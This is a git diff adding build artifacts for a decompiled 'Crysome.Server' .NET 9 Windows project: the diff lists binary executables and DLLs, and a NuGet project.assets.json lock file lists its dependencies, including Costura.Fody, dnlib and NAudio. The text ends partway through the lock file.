+C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.exe diff --git a/Crysome.Server/obj/Release/win-x64/apphost.exe b/Crysome.Server/obj/Release/win-x64/apphost.exe new file mode 100644 index 0000000..7fd2144 Binary files /dev/null and b/Crysome.Server/obj/Release/win-x64/apphost.exe differ diff --git a/Crysome.Server/obj/Release/win-x64/ref/Crysome.Server.dll b/Crysome.Server/obj/Release/win-x64/ref/Crysome.Server.dll new file mode 100644 index 0000000..3c6bfb3 Binary files /dev/null and b/Crysome.Server/obj/Release/win-x64/ref/Crysome.Server.dll differ diff --git a/Crysome.Server/obj/Release/win-x64/refint/Crysome.Server.dll b/Crysome.Server/obj/Release/win-x64/refint/Crysome.Server.dll new file mode 100644 index 0000000..3c6bfb3 Binary files /dev/null and b/Crysome.Server/obj/Release/win-x64/refint/Crysome.Server.dll differ diff --git a/Crysome.Server/obj/project.assets.json b/Crysome.Server/obj/project.assets.json new file mode 100644 index 0000000..952c608 --- /dev/null +++ b/Crysome.Server/obj/project.assets.json @@ -0,0 +1,5548 @@ +{ + "version": 3, + "targets": { + "net9.0-windows7.0": { + "Costura.Fody/5.7.0": { + "type": "package", + "dependencies": { + "Fody": "6.5.5", + "NETStandard.Library": "1.6.1" + }, + "compile": { + "lib/netstandard1.0/Costura.dll": { + "related": ".pdb;.xml" + } + }, + "runtime": { + "lib/netstandard1.0/Costura.dll": { + "related": ".pdb;.xml" + } + }, + "build": { + "build/Costura.Fody.props": {}, + "build/Costura.Fody.targets": {} + } + }, + "dnlib/4.5.0": { + "type": "package", + "compile": { + "lib/net6.0/dnlib.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net6.0/dnlib.dll": { + "related": ".xml" + } + } + }, + "Fody/6.8.0": { + "type": "package", + "build": { + "build/Fody.targets": {} + } + }, + "Microsoft.CSharp/4.7.0": { + "type": "package", + "compile": { + "ref/netcoreapp2.0/_._": {} + }, + "runtime": { + "lib/netcoreapp2.0/_._": {} + } + }, + "Microsoft.NETCore.Platforms/3.1.0": { + "type": "package", + "compile": { + "lib/netstandard1.0/_._": {} + }, + "runtime": { + "lib/netstandard1.0/_._": {} + } + }, + "Microsoft.NETCore.Targets/1.1.0": { + "type": "package", + "compile": { + "lib/netstandard1.0/_._": {} + }, + "runtime": { + "lib/netstandard1.0/_._": {} + } + }, + "Microsoft.Win32.Primitives/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/Microsoft.Win32.Primitives.dll": { + "related": ".xml" + } + } + }, + "Microsoft.Win32.Registry/4.7.0": { + "type": "package", + "dependencies": { + "System.Security.AccessControl": "4.7.0", + "System.Security.Principal.Windows": "4.7.0" + }, + "compile": { + "ref/netstandard2.0/Microsoft.Win32.Registry.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/Microsoft.Win32.Registry.dll": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard2.0/Microsoft.Win32.Registry.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netstandard2.0/Microsoft.Win32.Registry.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "Microsoft.Win32.SystemEvents/9.0.0": { + "type": "package", + "compile": { + "lib/net9.0/Microsoft.Win32.SystemEvents.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net9.0/Microsoft.Win32.SystemEvents.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net8.0/_._": {} + }, + "runtimeTargets": { + "runtimes/win/lib/net9.0/Microsoft.Win32.SystemEvents.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "NAudio/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.Asio": "2.2.1", + "NAudio.Core": "2.2.1", + "NAudio.Midi": "2.2.1", + "NAudio.Wasapi": "2.2.1", + "NAudio.WinForms": "2.2.1", + "NAudio.WinMM": "2.2.1" + }, + "compile": { + "lib/net6.0-windows7.0/NAudio.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net6.0-windows7.0/NAudio.dll": { + "related": ".xml" + } + } + }, + "NAudio.Asio/2.2.1": { + "type": "package", + "dependencies": { + "Microsoft.Win32.Registry": "4.7.0", + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.Asio.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Asio.dll": { + "related": ".xml" + } + } + }, + "NAudio.Core/2.2.1": { + "type": "package", + "compile": { + "lib/netstandard2.0/NAudio.Core.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Core.dll": { + "related": ".xml" + } + } + }, + "NAudio.Midi/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.Midi.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Midi.dll": { + "related": ".xml" + } + } + }, + "NAudio.Wasapi/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.Wasapi.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Wasapi.dll": { + "related": ".xml" + } + } + }, + "NAudio.WinForms/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.WinMM": "2.2.1" + }, + "compile": { + "lib/netcoreapp3.1/NAudio.WinForms.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netcoreapp3.1/NAudio.WinForms.dll": { + "related": ".xml" + } + }, + "frameworkReferences": [ + "Microsoft.WindowsDesktop.App.WindowsForms" + ] + }, + "NAudio.WinMM/2.2.1": { + "type": "package", + "dependencies": { + "Microsoft.Win32.Registry": "4.7.0", + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.WinMM.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.WinMM.dll": { + "related": ".xml" + } + } + }, + "NETStandard.Library/1.6.1": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.Win32.Primitives": "4.3.0", + "System.AppContext": "4.3.0", + "System.Collections": "4.3.0", + "System.Collections.Concurrent": "4.3.0", + "System.Console": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.Tools": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Globalization": "4.3.0", + "System.Globalization.Calendars": "4.3.0", + "System.IO": "4.3.0", + "System.IO.Compression": "4.3.0", + "System.IO.Compression.ZipFile": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Linq": "4.3.0", + "System.Linq.Expressions": "4.3.0", + "System.Net.Http": "4.3.0", + "System.Net.Primitives": "4.3.0", + "System.Net.Sockets": "4.3.0", + "System.ObjectModel": "4.3.0", + "System.Reflection": "4.3.0", + "System.Reflection.Extensions": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Runtime.InteropServices.RuntimeInformation": "4.3.0", + "System.Runtime.Numerics": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Security.Cryptography.X509Certificates": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Text.Encoding.Extensions": "4.3.0", + "System.Text.RegularExpressions": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0", + "System.Threading.Timer": "4.3.0", + "System.Xml.ReaderWriter": "4.3.0", + "System.Xml.XDocument": "4.3.0" + } + }, + "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/debian.8-x64/native/System.Security.Cryptography.Native.OpenSsl.so": { + "assetType": "native", + "rid": "debian.8-x64" + } + } + }, + "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/fedora.23-x64/native/System.Security.Cryptography.Native.OpenSsl.so": { + "assetType": "native", + "rid": "fedora.23-x64" + } + } + }, + "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/fedora.24-x64/native/System.Security.Cryptography.Native.OpenSsl.so": { + "assetType": "native", + "rid": "fedora.24-x64" + } + } + }, + "runtime.native.System/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0" + }, + "compile": { + "lib/netstandard1.0/_._": {} + }, + "runtime": { + "lib/netstandard1.0/_._": {} + } + }, + "runtime.native.System.IO.Compression/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0" + }, + "compile": { + "lib/netstandard1.0/_._": {} + }, + "runtime": { + "lib/netstandard1.0/_._": {} + } + }, + "runtime.native.System.Net.Http/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0" + }, + "compile": { + "lib/netstandard1.0/_._": {} + }, + "runtime": { + "lib/netstandard1.0/_._": {} + } + }, + "runtime.native.System.Security.Cryptography.Apple/4.3.0": { + "type": "package", + "dependencies": { + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.Apple": "4.3.0" + }, + "compile": { + "lib/netstandard1.0/_._": {} + }, + "runtime": { + "lib/netstandard1.0/_._": {} + } + }, + "runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "dependencies": { + "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + }, + "compile": { + "lib/netstandard1.0/_._": {} + }, + "runtime": { + "lib/netstandard1.0/_._": {} + } + }, + "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/opensuse.13.2-x64/native/System.Security.Cryptography.Native.OpenSsl.so": { + "assetType": "native", + "rid": "opensuse.13.2-x64" + } + } + }, + "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/opensuse.42.1-x64/native/System.Security.Cryptography.Native.OpenSsl.so": { + "assetType": "native", + "rid": "opensuse.42.1-x64" + } + } + }, + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.Apple/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/osx.10.10-x64/native/System.Security.Cryptography.Native.Apple.dylib": { + "assetType": "native", + "rid": "osx.10.10-x64" + } + } + }, + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/osx.10.10-x64/native/System.Security.Cryptography.Native.OpenSsl.dylib": { + "assetType": "native", + "rid": "osx.10.10-x64" + } + } + }, + "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/rhel.7-x64/native/System.Security.Cryptography.Native.OpenSsl.so": { + "assetType": "native", + "rid": "rhel.7-x64" + } + } + }, + "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/ubuntu.14.04-x64/native/System.Security.Cryptography.Native.OpenSsl.so": { + "assetType": "native", + "rid": "ubuntu.14.04-x64" + } + } + }, + "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/ubuntu.16.04-x64/native/System.Security.Cryptography.Native.OpenSsl.so": { + "assetType": "native", + "rid": "ubuntu.16.04-x64" + } + } + }, + "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "type": "package", + "runtimeTargets": { + "runtimes/ubuntu.16.10-x64/native/System.Security.Cryptography.Native.OpenSsl.so": { + "assetType": "native", + "rid": "ubuntu.16.10-x64" + } + } + }, + "System.AppContext/4.3.0": { + "type": "package", + "dependencies": { + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.6/System.AppContext.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.6/System.AppContext.dll": {} + } + }, + "System.Buffers/4.3.0": { + "type": "package", + "dependencies": { + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading": "4.3.0" + }, + "compile": { + "lib/netstandard1.1/_._": {} + }, + "runtime": { + "lib/netstandard1.1/System.Buffers.dll": {} + } + }, + "System.Collections/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Collections.dll": { + "related": ".xml" + } + } + }, + "System.Collections.Concurrent/4.3.0": { + "type": "package", + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Globalization": "4.3.0", + "System.Reflection": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Collections.Concurrent.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.Collections.Concurrent.dll": {} + } + }, + "System.Console/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.IO": "4.3.0", + "System.Runtime": "4.3.0", + "System.Text.Encoding": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Console.dll": { + "related": ".xml" + } + } + }, + "System.Diagnostics.Debug/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Diagnostics.Debug.dll": { + "related": ".xml" + } + } + }, + "System.Diagnostics.DiagnosticSource/4.3.0": { + "type": "package", + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Reflection": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading": "4.3.0" + }, + "compile": { + "lib/netstandard1.3/_._": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.Diagnostics.DiagnosticSource.dll": { + "related": ".xml" + } + } + }, + "System.Diagnostics.Tools/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.0/System.Diagnostics.Tools.dll": { + "related": ".xml" + } + } + }, + "System.Diagnostics.Tracing/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.5/System.Diagnostics.Tracing.dll": { + "related": ".xml" + } + } + }, + "System.Drawing.Common/9.0.0": { + "type": "package", + "dependencies": { + "Microsoft.Win32.SystemEvents": "9.0.0" + }, + "compile": { + "lib/net9.0/System.Drawing.Common.dll": { + "related": ".pdb;.xml" + }, + "lib/net9.0/System.Private.Windows.Core.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net9.0/System.Drawing.Common.dll": { + "related": ".pdb;.xml" + }, + "lib/net9.0/System.Private.Windows.Core.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net8.0/_._": {} + } + }, + "System.Globalization/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Globalization.dll": { + "related": ".xml" + } + } + }, + "System.Globalization.Calendars/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Globalization": "4.3.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Globalization.Calendars.dll": { + "related": ".xml" + } + } + }, + "System.Globalization.Extensions/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Globalization": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.InteropServices": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/_._": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.3/System.Globalization.Extensions.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netstandard1.3/System.Globalization.Extensions.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.IO/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading.Tasks": "4.3.0" + }, + "compile": { + "ref/netstandard1.5/System.IO.dll": { + "related": ".xml" + } + } + }, + "System.IO.Compression/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Buffers": "4.3.0", + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.IO": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0", + "runtime.native.System": "4.3.0", + "runtime.native.System.IO.Compression": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.IO.Compression.dll": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.3/System.IO.Compression.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netstandard1.3/System.IO.Compression.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.IO.Compression.ZipFile/4.3.0": { + "type": "package", + "dependencies": { + "System.Buffers": "4.3.0", + "System.IO": "4.3.0", + "System.IO.Compression": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Text.Encoding": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.IO.Compression.ZipFile.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.IO.Compression.ZipFile.dll": {} + } + }, + "System.IO.FileSystem/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.IO": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading.Tasks": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.IO.FileSystem.dll": { + "related": ".xml" + } + } + }, + "System.IO.FileSystem.Primitives/4.3.0": { + "type": "package", + "dependencies": { + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.IO.FileSystem.Primitives.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.IO.FileSystem.Primitives.dll": {} + } + }, + "System.Linq/4.3.0": { + "type": "package", + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0" + }, + "compile": { + "ref/netstandard1.6/System.Linq.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.6/System.Linq.dll": {} + } + }, + "System.Linq.Expressions/4.3.0": { + "type": "package", + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Globalization": "4.3.0", + "System.IO": "4.3.0", + "System.Linq": "4.3.0", + "System.ObjectModel": "4.3.0", + "System.Reflection": "4.3.0", + "System.Reflection.Emit": "4.3.0", + "System.Reflection.Emit.ILGeneration": "4.3.0", + "System.Reflection.Emit.Lightweight": "4.3.0", + "System.Reflection.Extensions": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Reflection.TypeExtensions": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Threading": "4.3.0" + }, + "compile": { + "ref/netstandard1.6/System.Linq.Expressions.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.6/System.Linq.Expressions.dll": {} + } + }, + "System.Net.Http/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.DiagnosticSource": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Globalization": "4.3.0", + "System.Globalization.Extensions": "4.3.0", + "System.IO": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.Net.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.OpenSsl": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Security.Cryptography.X509Certificates": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0", + "runtime.native.System": "4.3.0", + "runtime.native.System.Net.Http": "4.3.0", + "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Net.Http.dll": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.6/System.Net.Http.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/netstandard1.3/System.Net.Http.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Net.Primitives/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0", + "System.Runtime.Handles": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Net.Primitives.dll": { + "related": ".xml" + } + } + }, + "System.Net.Sockets/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.IO": "4.3.0", + "System.Net.Primitives": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading.Tasks": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Net.Sockets.dll": { + "related": ".xml" + } + } + }, + "System.ObjectModel/4.3.0": { + "type": "package", + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.ObjectModel.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.ObjectModel.dll": {} + } + }, + "System.Reflection/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.IO": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.5/System.Reflection.dll": { + "related": ".xml" + } + } + }, + "System.Reflection.Emit/4.3.0": { + "type": "package", + "dependencies": { + "System.IO": "4.3.0", + "System.Reflection": "4.3.0", + "System.Reflection.Emit.ILGeneration": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.1/_._": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.Reflection.Emit.dll": {} + } + }, + "System.Reflection.Emit.ILGeneration/4.3.0": { + "type": "package", + "dependencies": { + "System.Reflection": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.0/_._": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.Reflection.Emit.ILGeneration.dll": {} + } + }, + "System.Reflection.Emit.Lightweight/4.3.0": { + "type": "package", + "dependencies": { + "System.Reflection": "4.3.0", + "System.Reflection.Emit.ILGeneration": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.0/_._": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.3/System.Reflection.Emit.Lightweight.dll": {} + } + }, + "System.Reflection.Extensions/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Reflection": "4.3.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.0/System.Reflection.Extensions.dll": { + "related": ".xml" + } + } + }, + "System.Reflection.Primitives/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.0/System.Reflection.Primitives.dll": { + "related": ".xml" + } + } + }, + "System.Reflection.TypeExtensions/4.3.0": { + "type": "package", + "dependencies": { + "System.Reflection": "4.3.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.5/_._": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard1.5/System.Reflection.TypeExtensions.dll": {} + } + }, + "System.Resources.ResourceManager/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Globalization": "4.3.0", + "System.Reflection": "4.3.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.0/System.Resources.ResourceManager.dll": { + "related": ".xml" + } + } + }, + "System.Runtime/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0" + }, + "compile": { + "ref/netstandard1.5/System.Runtime.dll": { + "related": ".xml" + } + } + }, + "System.Runtime.Extensions/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.5/System.Runtime.Extensions.dll": { + "related": ".xml" + } + } + }, + "System.Runtime.Handles/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + }, + "compile": { + "ref/netstandard1.3/System.Runtime.Handles.dll": { + "related": ".xml" + } + } + }, + "System.Runtime.InteropServices/4.3.0": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Reflection": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Handles": "4.3.0" + }, + "compile": { + "ref/netcoreapp1.1/System.Runtime.InteropServices.dll": {} + } + }, + "System.Runtime.InteropServices.RuntimeInformation/4.3.0": { + "type": "package", + "dependencies": { + "System.Reflection": "4.3.0", + "System.Reflection.Extensions": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + 